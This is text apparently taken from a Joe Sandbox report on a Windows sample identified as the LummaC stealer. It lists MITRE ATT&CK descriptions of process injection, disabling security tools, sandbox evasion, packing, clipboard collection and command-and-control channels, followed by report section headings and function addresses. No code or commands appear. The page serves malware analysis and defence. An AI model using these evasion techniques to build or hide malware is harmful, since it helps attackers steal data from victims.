Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report a7HdB2dU5P.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\a7HdB2dU5P.exe.log

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
a7HdB2dU5P.exe

Function 028C2145 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Function 00C61268 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Function 00C61270 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Function 00410480 Relevance: 25.4, Strings: 20, Instructions: 435
COMMON

Function 0040FEBC Relevance: 13.2, Strings: 10, Instructions: 710
COMMON

Function 0040D2C0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 159
threadCOMMON

Function 00447600 Relevance: 6.9, Strings: 5, Instructions: 614
COMMON

Function 0040EFFC Relevance: 6.8, Strings: 5, Instructions: 550
COMMON

Function 00447560 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 14
libraryCOMMON

Function 0044A7E0 Relevance: 2.6, Strings: 2, Instructions: 142
COMMON

Function 0040ED90 Relevance: 1.6, APIs: 1, Instructions: 87
libraryCOMMON

Function 00444282 Relevance: 1.6, APIs: 1, Instructions: 51
memoryCOMMON

Function 00444200 Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMON